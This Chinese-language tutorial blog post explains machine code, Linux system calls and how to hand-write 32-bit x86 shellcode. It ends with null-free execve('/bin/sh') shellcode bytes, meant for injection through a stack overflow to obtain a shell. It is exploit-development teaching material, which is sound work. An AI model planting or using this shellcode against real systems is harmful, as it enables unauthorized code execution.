author:bilala
0x01 机器指令
当计算机在运行一个程序时,例如下面这个hello.c
:
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("HelloWorld !\n");
return 0;
}
计算机只能理解1和0的机器语言,所以这段高级语言需要经过编译器处理转换成可以直接执行的机器级指令。这个机器指令并不是我们平时接触到的汇编代码,汇编代码也是计算机理解不了的,真正的计算机看的懂的只有0
和1
。
我们将hello.c编译,gcc -fno-stack-protector -no-pie hello.c -o hello
,然后用objdump
命令反汇编一下可执行文件
...
...
0000000000401126 <main>:
401126: 55 push rbp
401127: 48 89 e5 mov rbp,rsp
40112a: 48 83 ec 10 sub rsp,0x10
40112e: 89 7d fc mov DWORD PTR [rbp-0x4],edi
401131: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
401135: 48 8d 05 c8 0e 00 00 lea rax,[rip+0xec8] # 402004 <_IO_stdin_used+0x4>
40113c: 48 89 c7 mov rdi,rax
40113f: e8 ec fe ff ff call 401030 <puts@plt>
401144: b8 00 00 00 00 mov eax,0x0
401149: c9 leave
40114a: c3 ret
...
...
...
机器指令就是左侧的十六进制数字,比如push rbp
对应着0x55
,那么在计算机中就是1010101
,这才是存储在计算机中的内容。
0x02 系统调用
在理解了机器指令后,我们再看看程序运行过程中都调用了什么函数,strace ./hello
strace
是一个工具,可用于显示程序使用的系统调用。
这里我就只提炼出关键句
execve("./hello", ["./hello"], 0x7ffcbb177380 /* 33 vars */) = 0
...
...
write(1, "HelloWorld !\n", 13HelloWorld !
) = 13
exit_group(0) = ?
+++ exited with 0 +++
execve
是Linux的内核函数,其作用为在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数。其参数为
int execve(const char filename, char const argv[ ], char *const envp[ ]);
对于write()
WRITE(2) Linux Programmer's Manual WRITE(2)
NAME
write - write to a file descriptor
SYNOPSIS
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
DESCRIPTION
write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.
fd
处需填入文件描述符,0,1,2
分别对应着标准输入、输出和错误
。buf 和 count 参数是指向我们的字符串及其长度的指针。
上面两个函数都属于系统调用,那么什么是系统调用呢,简单来说就是用户的程序向操作系统内核请求更高权限的服务。操作系统中有分为用户层和内核层,即三环和零环,用户的权限不够高时就会有向内核层请求更高权限的需求,此时就要用到系统调用。
在Linux中,所有的系统调用都有预定义的编号,而调用的参数则存放在寄存器中。32位和64位系统的系统调用方式有所不同,此时讲32位系统的系统调用方式。
在32位x86架构中,系统调用由int 0x80
指令调用。它将调用与存储在寄存器中的数字相对应的系统调用,其中eax
中存放系统调用预定义的编号,e b/c/d x
中存放着调用时需要的传参。
比如我们输出一个hello world,对应的系统调用为:
mov eax, 4 ; write()对应的系统调用号为 #4
mov ebx, 1 ; 指定文件描述符为1
mov ecx, 0x123456 ; 传入“hello world”字符串所在的地址
mov edx, 11 ; 传入字符串的长度
int 0x80 ; 向内核发起系统调用
0x03 shellcode
我们来生成一串可以输出hello bilala
的shellcode
先新建一个hello.asm
并写入
section .text ; Text segment
global _start ; Default entry point for ELF linking
_start:
jmp gotoCall ; Jump to gotCall
shellcode:
; SYSCALL: write(1,msg,14)
mov eax, 4 ; Put 4 into eax, since write is syscall #4.
mov ebx, 1 ; Put 1 into ebx, since stdout is 1.
pop ecx ; Pop the Address of hello world from the stack
mov edx, 14 ; Put 14 into edx, since our string is 14 bytes.
int 0x80 ; Call the kernel to make the system call happen.
; SYSCALL: exit(0)
mov eax, 1 ; Put 1 into eax, since exit is syscall #1.
mov ebx, 0 ; Exit with success.
int 0x80 ; Do the syscall.
gotoCall:
call shellcode ; Pushes the address of string to stack
db "Hello, bilala" ; The string and newline char
然后运行以下命令,使其成为一个可执行文件
# nasm -f elf hello.asm
# ld -m elf_i386 hello.o -o hello
我们利用objdump
命令查看该文件的反汇编代码objdump -D -M intel hello
这里发现在8049020
处及以上,都和我们的asm文件一样,但是原先的db "Hello, bilala"
却不见了。
db
实际上只是个汇编的伪指令,所谓伪指令就是不交给CPU执行(CPU也不认识这指令),而是由汇编自己执行,作用就是定义后边的字符串。那么为什么我们在objdump
中没有看到字符串呢?
实际上8049020
的下边,我们可以看到十六进制数据48 65 6c 6c 6f
等,这就是H e l l o
的十六进制,objdump把他们作为了汇编命令处理而已,所以实际上8049020
下边就是我们定义的字符串Hello,bilala
把objdump出的所有十六进制数据合起来就是shellcode
\xEB\x1E\xB8\x04\x00\x00\x00\xBB\x01\x00\x00\x00\x59\xBA\x0E\x00\x00\x00\xCD\x80\xB8\x01\x00\x00\x00\xBB\x00\x00\x00\x00\xCD\x80\xE8\xDD\xFF\xFF\xFF\x48\x65\x6C\x6C\x6F\x2C\x20\x62\x69\x6C\x61\x6C\x61
我们已经成功的拿到一串shellcode了,但是这串shellcode中有很多\x00
,在栈中如果碰到\x00
就是一个终止符,所以为了保持这段shellcode的完整性,我们需要去除掉shellcode中的\x00
。
上边我们使用的mov eax, 0x4
,不过eax是一个32位寄存器,而0x4只占一个字节,所以在填充进eax后会有三个字节的空挡,也就是\x04\x00\x00\x00
,所以我们使用al
寄存器就够了,其他的如ebx,也是用bl就好,所以改asm文件如下
section .text ; Text segment
global _start ; Default entry point for ELF linking
_start:
jmp gotoCall ; Jump to gotCall
shellcode:
; SYSCALL: write(1,msg,14)
xor eax,eax ; Null the registers
xor ebx,ebx
xor edx,edx ; Does not need to xor ecx since pop will overwrite any previous value
mov al, 4 ; Put 4 into eax, since write is syscall #4.
mov bl, 1 ; Put 1 into ebx, since stdout is 1.
pop ecx ; Pop the Address of hello world from the stack
mov dl, 14 ; Put 14 into edx, since our string is 14 bytes.
int 0x80 ; Call the kernel to make the system call happen.
; SYSCALL: exit(0)
mov al, 1 ; Put 1 into eax, since exit is syscall #1.
xor ebx,ebx ; Exit with success.
int 0x80 ; Do the syscall.
gotoCall:
call shellcode ; Pushes the address of string to stack
db "Hello,bilala" ; The string and newline char
再重复上面的操作,获取十六进制数据
得到shellcode
\xEB\x15\x31\xC0\x31\xDB\x31\xD2\xB0\x04\xB3\x01\x59\xB2\x0E\xCD\x80\xB0\x01\x31\xDB\xCD\x80\xE8\xE6\xFF\xFF\xFF\x48\x65\x6C\x6C\x6F\x2C\x62\x69\x6C\x61\x6C\x61
上述的shellcode只能输出字符串,但我们的最终目的还是获得一个shell,所以我们要将write函数改成execve
函数
execve("/bin/sh", ["/bin/sh", NULL], NULL)
有了上边的基础,我们只需改一改eax,ebx等寄存器中的值即可,如下汇编指令
section .text ; Text segment
global _start ; Default entry point for ELF linking
_start:
xor eax, eax ; 置空eax
push eax ; “\x00”入栈
push 0x68732f2f ; "//sh"入栈
push 0x6e69622f ; "/bin"入栈
mov ebx, esp ; ebx = "/bin//sh"的地址
push eax ; "\x00"入栈
push ebx ; "/bin//sh"的地址入栈
mov ecx, esp ; ecx = 指针数组地址[ebx, eax]
xor edx, edx ; 置空edx
mov al, 0xb ; 0xb为execve的系统调用号
int 0x80 ; 软中断指令
同样的将其编译成可执行文件后,用objdump出十六进制数据
shellcode如下:
\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\x31\xD2\xB0\x0B\xCD\x80
将此段shellcode插入到可执行的bss段即可完成栈溢出获取shell
0x04 参考资料
https://wiki.bi0s.in/pwning/stack-overflow/return-to-shellcode/
http://blog.nsfocus.net/simple-realization-hand-handle-shellcode-detailed-explanation/
Comments | NOTHING